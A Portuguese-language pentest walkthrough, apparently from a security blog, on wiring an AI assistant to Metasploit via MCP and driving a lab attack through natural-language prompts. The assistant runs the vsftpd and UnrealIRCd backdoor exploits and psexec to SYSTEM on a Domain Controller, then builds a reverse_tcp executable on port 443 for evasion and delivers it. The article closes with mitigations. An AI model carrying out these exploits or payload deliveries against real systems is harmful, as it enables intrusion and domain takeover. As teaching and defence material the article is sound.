NT-2026.09.30 DOSSIÊ PENTEST
METASPLOIT MCP: PENTEST AGÊNICO COM ASSISTENTE DE IA DO SCAN AO SYSTEM
Como um assistente de IA conectado ao Metasploit via MCP executa pentest em linguagem natural: scan, exploits vsftpd e UnrealIRCd, psexec com credenciais e payload até SYSTEM no Domain Controller.
Introdução
O Model Context Protocol (MCP) permite que um assistente de IA como o Claude Desktop saia do campo da conversa e invoque ferramentas externas diretamente. Apontado para um servidor MCP do Metasploit, o assistente vira um multiplicador de força para o operador: interpreta instruções curtas, lembra a sintaxe exata dos módulos, encadeia etapas e reporta resultados em contexto — comprimindo boa parte do atrito que normalmente desacelera um pentest.
Este artigo documenta o percurso completo de um teste de penetração agênico conduzido dessa forma, em um laboratório isolado e de propriedade do autor da demonstração original. Em vez de digitar comandos Metasploit à mão, o operador emite objetivos em linguagem natural — “escaneie 192.168.1.8” ou “explore a porta 21” — e o assistente propõe e executa as ações correspondentes. O Metasploit faz o trabalho; uma porta de aprovação mantém um humano no controle de cada passo ofensivo; e toda ação mira hosts privados do laboratório.
O percurso tem três movimentos: montar a ponte MCP, comprometer o alvo Linux e pivotar para o Domain Controller — e fecha com estratégias concretas de mitigação. Como estas técnicas concedem controle real sobre sistemas reais, elas só devem ser executadas contra ativos que você está explicitamente autorizado a testar.
Ambiente de teste
O engajamento acontece em um único segmento isolado, 192.168.1.0/24, construído no VMware. Uma máquina Kali Linux ataca e hospeda tanto o cliente do assistente quanto o Metasploit Framework. Dois alvos completam o cenário: uma VM Metasploitable 2, Linux intencionalmente vulnerável, e um Domain Controller Windows Server 2019 com Active Directory. Os hosts e seus papéis estão resumidos na tabela abaixo.
Arquitetonicamente, o assistente se comunica com o daemon RPC do Metasploit (msfrpcd) através da ponte MCP, e o Metasploit alcança os alvos pelo segmento do laboratório. Nada neste ambiente é conectado a uma rede de produção — requisito não negociável para qualquer teste com essas ferramentas.
Construindo a ponte Metasploit MCP
Antes de qualquer ação ofensiva, é preciso conectar o assistente ao Metasploit. O Metasploit MCP — hoje empacotado oficialmente no Kali Linux como metasploitmcp — expõe a interface RPC do framework como ferramentas MCP: run_exploit, run_post_module, list_active_sessions, generate_payload, start_listener, entre outras.
A sequência a seguir instala a ponte, inicia os serviços do framework, implanta o Claude Desktop no Kali e registra o servidor na configuração do assistente. Cada etapa vale por si: a ponte não funciona sem o RPC vivo, e o assistente não enxerga a ponte sem o registro correto no arquivo de configuração.
Instalando o servidor Metasploit MCP
O primeiro passo é instalar a ponte que transforma a interface RPC do Metasploit em ferramentas MCP consumíveis pelo assistente.
sudo apt install metasploitmcpO pacote oficial do Kali instala o servidor MCP com suas dependências Python (FastAPI, fastmcp, pymetasploit3) e o utilitário metasploitmcp. Na demonstração, a instalação ocorre pelo gerenciador de pacotes e o binário fica disponível no PATH do sistema — o que depois simplifica o registro no assistente, pois o comando a invocar é exatamente metasploitmcp.
Iniciando o PostgreSQL e o daemon RPC do MSF
O Metasploit depende do PostgreSQL, e a ponte conversa com o framework pelo daemon RPC (msfrpcd). Inicie o banco primeiro; depois lance o RPC bound em localhost. O daemon vai para segundo plano sozinho e reporta um PID vivo.
sudo service postgresql start
msfrpcd -P <msf-password> -S -a 127.0.0.1 -p 55553A flag -P define a senha de autenticação RPC — a mesma que depois alimenta a variável MSF_PASSWORD do servidor MCP. -S desativa SSL para o teste local, -a fixa o endereço de escuta em 127.0.0.1 (o RPC não fica exposto à rede) e -p escolhe a porta, 55553 por convenção na documentação do projeto. O binding em loopback importa: qualquer cliente que autentique com essa senha controla o framework inteiro.
Instalando o Claude Desktop no Kali Linux
O Kali é baseado em Debian, então o pacote adequado para uma instalação 64-bit padrão Intel/AMD é o .deb amd64. Na seção Assets da página de releases, baixe o pacote claude-desktop_1.21459.0_amd64.deb — a versão mostrada na captura da demonstração.
cd Downloads
sudo dpkg -i claude-desktop-unofficial_1.21459.0-3.2.1_amd64.debO dpkg -i instala o pacote local: desempacota os arquivos, configura o aplicativo, atualiza o banco do desktop e ajusta as permissões exigidas pelo chrome-sandbox. Uma instalação bem-sucedida devolve o prompt do terminal sem erro fatal. Com o cliente instalado, o próximo bloco é registrá-lo como consumidor da ponte MCP.
Abrindo as configurações do Claude Desktop
Depois de lançar o cliente, abra o menu da conta e selecione Settings para alcançar os painéis de configuração. O caminho na interface é curto, mas ele é a porta de entrada para todo o registro seguinte: os servidores MCP locais são gerenciados exatamente aí.
Localizando o painel de servidores MCP locais
Em Settings, abra a aba Developer para acessar os servidores MCP locais e clique em Edit Config. Esse botão abre o arquivo JSON que define os servidores — é nele que a ponte do Metasploit será declarada.
Localizando o arquivo de configuração
O Edit Config aponta para claude_desktop_config.json, no diretório de perfil do Claude:
~/.config/Claude/claude_desktop_config.jsonAbra o arquivo em um editor de texto. Qualquer erro de sintaxe JSON aqui derruba todos os servidores MCP do cliente, então edite com cuidado e valide o JSON antes de salvar.
Revisando a configuração padrão
O arquivo contém inicialmente apenas preferências do cliente — na demonstração, destaca-se o remoteToolsDeviceName com o valor “kali”. O bloco mcpServers que registra o Metasploit será adicionado ao lado dessas configurações, sem alterá-las.
Referenciando o template do MetasploitMCP
A página do projeto MetasploitMCP fornece um template do bloco mcpServers especificando o comando, os argumentos e a variável MSF_PASSWORD. O template de referência usa o uv apontando para um checkout local; a adaptação feita na demonstração troca isso pelo binário do pacote Kali, que já está no PATH. A estrutura — command, args com --transport stdio e env com MSF_PASSWORD — permanece idêntica à documentação do projeto.
Registrando o servidor Metasploit
Com o template em mãos, a configuração final fica assim:
{
"mcpServers": {
"metasploit": {
"command": "metasploitmcp",
"args": ["--transport", "stdio"],
"env": {
"MSF_PASSWORD": "<msf-password>"
}
}
}
}O command vira metasploitmcp (o binário do pacote Kali, dispensando caminhos absolutos), o transporte é stdio — o modo indicado pelo projeto para clientes com pipe direto, como o Claude Desktop — e MSF_PASSWORD carrega exatamente a senha fornecida ao msfrpcd. Sem esse casamento de credenciais, a ponte autentica no RPC e falha na primeira chamada. Na demonstração, o arquivo aparece preenchido com o bloco completo.
Confirmando que o servidor está em execução
De volta a Settings, o painel de servidores MCP locais lista metasploit com um selo verde de execução. A ponte está viva e as ferramentas do Metasploit ficam disponíveis ao assistente — que agora pode listar exploits, lançar módulos e gerenciar sessões por conversa.
Cenário 1: comprometendo o alvo Linux
Com a ponte ativa, o assistente é virado contra o host Metasploitable 2 em 192.168.1.8. O objetivo: sair da reconhecência e chegar a um shell de root usando apenas tarefas em linguagem natural — sem digitar um único comando Metasploit.
Solicitando o scan do alvo ao assistente
A primeira tarefa é deliberadamente curta — sem flags, sem nome de módulo. O assistente precisa descobrir o método sozinho.
scan 192.168.1.8Na captura da demonstração, o assistente interpreta o pedido, planeja a abordagem e propõe a ação antes de executar — cada passo ofensivo passa pela aprovação do operador.
Descoberta inicial de portas
O assistente raciocina sobre as próprias restrições — o ambiente não tem Nmap com raw socket —, propõe alternativas, executa um scan pela ponte e devolve as primeiras portas abertas: FTP, SSH, Telnet, SMTP, HTTP, SMB, MySQL e VNC. A resposta vem anotada com o contexto de cada serviço, não apenas como lista bruta de números.
O mapa completo de portas
Pedida a varredura completa, o assistente devolve todas as 31 portas abertas e anota o contexto de segurança de cada uma — destacando o vsftpd 2.3.4, a fraqueza usermap_script do Samba, o RCE do distccd, o backdoor do ingreslock e um backdoor no UnrealIRCd.
complete port scanEsse mapa anotado é o insumo das decisões seguinte: cada serviço flagrado é um candidato a exploração, e o assistente já separou os vulneráveis conhecidos do resto.
Explorando o backdoor do vsftpd
Aqui o assistente passa de olhar para agir. O pedido “exploit port 21” é mapeado para o módulo unix/ftp/vsftpd_234_backdoor, que explora o backdoor malicioso inserido no arquivo vsftpd-2.3.4.tar.gz distribuído entre 30 de junho e 3 de julho de 2011 (CVE-2011-2523): um usuário contendo o caractere :) faz o serviço abrir um shell root na porta 6200. O assistente define RHOSTS e pede run_exploit — e a porta de permissão congela a execução até aprovação humana explícita.
exploit port 21Na captura, o assistente apresenta o módulo escolhido, os parâmetros e a solicitação de aprovação antes de qualquer pacote sair da rede.
Obtendo um shell de root
Aprovada a execução, o backdoor dispara e uma sessão Meterpreter abre como root em metasploitable.localdomain, tunelada a partir do Kali em 192.168.1.17. O primeiro host do laboratório está comprometido — inteiramente por conversa.
Listando a sessão ativa
O operador confirma o acesso. A ferramenta list_active_sessions reporta uma sessão Meterpreter root viva, pronta para pós-exploração.
list_active_sessionsA demonstração mostra o retorno da ferramenta com o detalhe da sessão — tipo, usuário e host — exatamente como o operador precisaria para decidir o próximo passo.
Pós-exploração: enumerando compartilhamentos SMB
O assistente executa um módulo auxiliar SMB, reconhecendo corretamente smb_enumshares como auxiliary — e não como post — e devolve a lista de compartilhamentos, incluindo um tmp gravável por qualquer usuário. No caminho, anota que o Samba 3.0.20 daquele host é vulnerável ao usermap_script (CVE-2007-2447), a injeção de comandos via metacaracteres shell no campo de username quando a opção “username map script” está ativa.
run_post_module scanner/smb/smb_enumsharesA saída da demonstração traz o inventário de shares com o flag de escrita — dado que orienta tanto a movimentação lateral quanto o relatório final.
Encadeando um segundo exploit: UnrealIRCd
Apontado a outro serviço flagrado no mapa de portas, o assistente lança o módulo unix/irc/unreal_ircd_3281_backdoor — o backdoor distribuído no arquivo Unreal3.2.8.1.tar.gz entre novembro de 2009 e 12 de junho de 2010 (CVE-2010-2075), em que qualquer comando precedido de AB; era executado como shell na porta 6667. Uma segunda sessão é criada, demonstrando o encadeamento de múltiplos exploits em sequência — e o assistente registra com franqueza uma peculiaridade de persistência de sessão na camada RPC.
run exploit on port 6667Na captura da demonstração, o resultado do segundo exploit aparece com a nova sessão listada ao lado da primeira.
Pivotando para o Domain Controller
Com o host Linux dominado, a atenção vira para o prêmio do laboratório: o Domain Controller Windows em 192.168.1.11. O assistente será conduzido da reconhecência a uma sessão SYSTEM permanente — ainda sem um comando Metasploit digitado à mão.
Consolidando o acesso inicial
O primeiro gesto do pivô é confirmar os dois acessos existentes no host Linux: a sessão Meterpreter root via vsftpd e um command shell via UnrealIRCd — uma base estável de onde partir.
list_active_sessionsA demonstração mostra as duas sessões ativas lado a lado, com seus tipos e origens distintas.
Revisando o conjunto de ferramentas do Metasploit
Antes de tocar o Domain Controller, o operador pede ao assistente para enumerar todas as ações Metasploit expostas pela ponte. O inventário cobre o ciclo completo: list_exploits, run_exploit, run_auxiliary_module, run_post_module, generate_payload, start_listener, list_listeners, list_active_sessions, send_session_command e terminate_session — o conjunto documentado do projeto.
all commandsA referência devolvida na demonstração serve de mapa para todo o resto do engajamento: o operador sabe o que pode pedir sem nunca abrir o msfconsole.
Cenário 2: explorando o Domain Controller
Com o inventário de ferramentas revisado, o assistente vira contra o Domain Controller em 192.168.1.11. O caminho: da varredura classificada à sessão SYSTEM — desta vez por credenciais válidas em vez de backdoor.
Escaneando o Domain Controller
Apontado a 192.168.1.11, o assistente devolve as portas abertas classificadas por serviço: Kerberos (88, 464), LDAP (389, 636), SMB (445), DNS (53) e RPC — a assinatura clássica de um Domain Controller Windows.
port scan 192.168.1.11A captura da demonstração mostra a varredura com cada porta anotada pelo papel do serviço, a leitura que um pentester faria manualmente — aqui produzida pelo assistente como parte da resposta.
Levantando exploits SMB
Perguntado sobre exploits SMB para a porta 445, o assistente lista EternalBlue, MS08-067, SMBGhost e outros, e destaca o caminho por credenciais via windows/smb/psexec como o mais limpo — porque o laboratório já possui credenciais válidas de administrador. Essa é uma distinção técnica relevante: o psexec não explora uma falha de memória; ele autentica com uma conta válida, sobe um serviço e executa um payload — o que o torna a via natural quando a senha já é conhecida.
list_exploits windows port 445A lista da demonstração inclui os módulos memoráveis por nome, mas o destaque do assistente para o psexec é o que direciona a decisão do operador.
Fornecendo o alvo
O assistente coleta os parâmetros de forma interativa em vez de adivinhar. Primeiro pergunta o RHOSTS; o operador seleciona o Domain Controller.
RHOSTS → 192.168.1.11A captura mostra o prompt do assistente com o parâmetro confirmado — o início do diálogo que monta a configuração do módulo passo a passo.
Fornecendo credenciais SMB
Como o psexec autentica em vez de explorar um bug, ele precisa de uma conta válida. O operador fornece as credenciais de administrador conhecidas do laboratório pela opção de texto livre.
SMBUser: administrator
SMBPass: <lab-password>A demonstração registra as opções preenchidas no módulo — usuário e senha prontos para a execução. A escolha deliberada por credenciais em vez de exploit de memória evidencia o que diferencia psexec na prática: sem credencial válida, o módulo simplesmente não existe como caminho.
Obtendo uma sessão SYSTEM
O assistente executa o psexec e uma sessão abre com payload windows/meterpreter/reverse_tcp — o serviço malicioso subiu no DC e chamou de volta para o handler do Kali.
Confirmando SYSTEM no DC
O sysinfo é decisivo: NT AUTHORITY\SYSTEM em uma máquina chamada DC — o privilégio mais alto do host. O Domain Controller está dominado com a mesma naturalidade do host Linux.
sysinfoA captura da demonstração exibe a saída do sysinfo com usuário e hostname — a confirmação formal do nível de acesso.
Levantando módulos de pós-exploração
Perguntado sobre quais módulos post valem a pena, o assistente agrupa os módulos Windows mais úteis por objetivo: coleta e reconhecimento (hashdump, enum_shares, credential_collector), escalação de privilégio e persistência.
list post moduleA resposta da demonstração organiza os módulos por finalidade, poupando o operador de varrer centenas de nomes no msfconsole.
Enumerando compartilhamentos do Domain Controller
Quando um módulo post precisa de uma sessão que caiu entretanto, o assistente explica o timeout e oferece a sequência exata de console para restabelecer a sessão — um fallback transparente que mantém o operador no controle.
run post/windows/gather/enum_sharesExecutado o módulo com a sessão restabelecida, a enumeração SMB devolve ADMIN$, C$, IPC$ e os compartilhamentos NETLOGON e SYSVOL — a marca registrada de um Domain Controller limpo e padrão. As duas capturas da demonstração mostram a orientação do assistente para a sessão expirada e, na sequência, o resultado da enumeração com os shares de domínio listados.
Cenário 3: gerando e entregando um payload
Além da exploração ao vivo, o assistente consegue construir um payload autônomo, hospedá-lo e preparar a captura da conexão reversa. Este cenário fecha o ciclo: da geração à sessão de volta pelo listener.
Gerar payload
O operador invoca generate_payload e seleciona windows/meterpreter/reverse_tcp — o mesmo payload da sessão do Cenário 2, agora como executável independente.
A captura da demonstração mostra o assistente apresentando as opções de payload com a seleção confirmada.
Escolhendo o formato de saída
Perguntado o formato de saída — exe, ps1, dll ou raw —, o operador escolhe um executável Windows independente.
Selection: exeA escolha do .exe cabe à entrega planejada: um arquivo único que roda no alvo sem depender de interpretador ou de um stager pré-instalado.
Definindo o host do listener
Um payload reverse precisa saber para onde chamar. O assistente pede o LHOST; o operador fornece o endereço do Kali.
Selection: LHOST → 192.168.1.17O endereço vai embutido no executável — erro aqui significa payload que chama para o nada.
Definindo a porta do listener
Para o LPORT, a escolha é 443 — porta que se mistura ao tráfego HTTPS e raramente é bloqueada na saída.
Selection: LPORT → 443A justificativa é de evasão de perímetro: um callback em 443 passa despercebido no meio do tráf TLS legítimo — o mesmo raciocínio que um operador aplicaria manualmente.
Gerando o payload
O assistente produz o executável e reporta o resultado: um arquivo de 7.168 bytes sob /home/kali/payloads/, com LHOST e LPORT embutidos, e o lembrete de iniciar o listener antes da entrega. O diretório padrão é o ~/payloads documentado pelo projeto — configurável pela variável PAYLOAD_SAVE_DIR.
Hospedando o payload
Para entregar o arquivo, o operador desce ao terminal do Kali, confirma o executável e o serve por HTTP simples:
cd payloads
ls -al
python3 -m http.serverO log do http.server mostra o Domain Controller em 192.168.1.11 baixando o arquivo — a entrega registrada linha a linha. O python3 -m http.server serve o diretório corrente na porta 8000; o ls -al confirma o tamanho e o nome do executável antes da exposição.
Iniciando o handler
De volta ao assistente, o operador inicia o listener correspondente com start_listener. O assistente pede a ação — especificando payload, LHOST e LPORT 443 — e a porta de permissão exige aprovação explícita mais uma vez.
start_listenerA captura mostra o pedido formal do assistente com os três parâmetros do multi/handler e a espera de aprovação — a mesma barreira humana de todos os passos ofensivos.
Listar sessões ativas
Quando o executável entregue roda no alvo, ele chama de volta e uma sessão Meterpreter nova aparece — de 192.168.1.11 como IGNITE\administrator no DC, sobre o listener 192.168.1.17:443. A cadeia completa, do scan ao acesso permanente, foi dirigida inteiramente por conversa.
list_active_sessionsA captura final da demonstração exibe a sessão viva com origem, usuário e listener — o fechamento do ciclo ofensivo completo.
Estratégias de mitigação
Cada fraqueza explorada neste engajamento é bem conhecida e inteiramente defensável.
Serviços legados e gestão de vulnerabilidade. Software como vsftpd 2.3.4, UnrealIRCd e Samba 3.0.x está muito além do fim de vida e deve ser corrigido ou aposentado; qualquer serviço sem necessidade ativa deve ser removido. Gestão contínua de vulnerabilidades garante que versões sabidamente ruins sejam capturadas quando reaparecem, em vez de ficarem à espera de um atacante.
Exposição de serviços e segmentação. Reduzir a superfície significa segmentar a rede para que uma máquina comprometida não alcance tudo, aplicar regras estritas de firewall de entrada e saída e fechar toda porta sem propósito documentado. Uma porta aberta sem justificativa é só mais uma coisa para um atacante sondar.
Identidade e movimentação lateral. O passo mais danoso do engajamento foi a movimentação lateral por credenciais via psexec — e as mitigações aqui são de identidade: senhas fortes e únicas, modelo de administração em camadas para que credenciais de alto privilégio nunca toquem sistemas de menor confiança, LAPS para as senhas de administrador local e restrição de quais contas podem autenticar nos domain controllers.
SMB e shares administrativos. Exigir assinatura SMB, desativar o SMBv1 obsoleto, remover compartilhamentos graváveis por qualquer um e aplicar privilégio mínimo às permissões de share fecham uma das vias mais comuns de movimentação lateral e acesso a dados.
Endpoint e delivery de payload. O objetivo é quebrar a cadeia de entrega do EXE por HTTP com callback na 443: EDR com análise comportamental, allow-listing de aplicações e bloqueio de binários não assinados elevam o custo da execução; alertas sobre conexões de saída anômalas — inclusive tráfego malicioso escondido na 443 — pegam o que escapar.
Uso de agentes de IA. O próprio engajamento foi dirigido por ferramenta agênica, e a capacidade corta nos dois sentidos. Defensivamente: manter o humano na cadeia de aprovação em vez de deixar o agente agir sozinho, registrar e auditar toda chamada de ferramenta MCP e restringir quais conectores são habilitados. A saída de um agente deve ser tratada como não confiável por padrão — e a mesma automação que alimenta o teste ofensivo pode ser apontada ao time azul para engenharia de detecção e validação contínua.
Em camadas, esses controles quebram a cadeia em vários pontos: um atacante que não alcança um serviço vulnerável, não recupera uma credencial privilegiada, não se move lateralmente sem ser notado e não faz o payload tocar o chão não reproduz o resultado demonstrado.
Conclusão
Em um único fluxo conectado, um assistente de IA saiu de um prompt vazio para um shell root em um host Linux e uma sessão SYSTEM em um Domain Controller — escaneando, explorando, enumerando e entregando payload, tudo por linguagem natural. O Metasploit executou a exploração; o assistente forneceu orquestração e memória de sintaxe; e um humano aprovou cada passo ofensivo.
Esse equilíbrio é a lição real. Ferramenta agênica comprime um engajamento inteiro em uma conversa e rebaixa o piso de habilidade do ataque — mas a mesma integração pode automatizar detecção, validação e relatório para defensores. A vantagem fica com quem adotar mais deliberadamente. Usada com responsabilidade, com autorização e um humano firme no circuito, uma assistente dessas é uma alavanca poderosa; usada descuidadamente, é um aviso. A escolha, como sempre, é do operador.
